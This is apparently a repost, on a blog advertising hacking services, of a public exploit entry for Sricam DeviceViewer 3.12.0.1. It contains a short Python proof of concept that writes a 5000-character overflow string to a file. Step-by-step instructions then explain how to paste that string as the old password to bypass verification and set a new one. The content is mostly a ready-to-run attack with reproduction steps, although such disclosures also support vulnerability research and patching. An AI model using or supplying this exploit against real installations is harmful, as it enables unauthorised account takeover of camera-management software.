Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86373936

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: DeviceViewer 3.12.0.1 - Arbitrary Password Change
# Date: 2019-09-10
# Exploit Author: Alessandro Magnosi
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7

#!/usr/bin/python

# Steps to reproduce:
#   1. Generate the payload executing the PoC
#   2. Login in the Sricam DeviceViewer application as any registered user
#   3. Go to System Tools -> Change Password
#   4. Set the old password as the malicious payload, and the new password as whatever you want
#   5. The password will be changed with the new one
#   6. To confirm, restart the application and try to login with the new password

payload = "A" * 5000

try:
	bypass = open("bypass.txt","w")
	print("### Sricam DeviceViewer 3.12.0.1 Change Password Security Bypass")
	print("### Author: Alessandro Magnosi\n")
	print("[*] Creating old password file")
	bypass.write(payload)
	bypass.close()
	print("[+] Old password file created\n")
	print("[i] When changing password, set the old password to the file contents")
	print("[i] Close the program and reopen it")
	print("[i] Log in with new password")
except:
	print("[!] Error creating the file")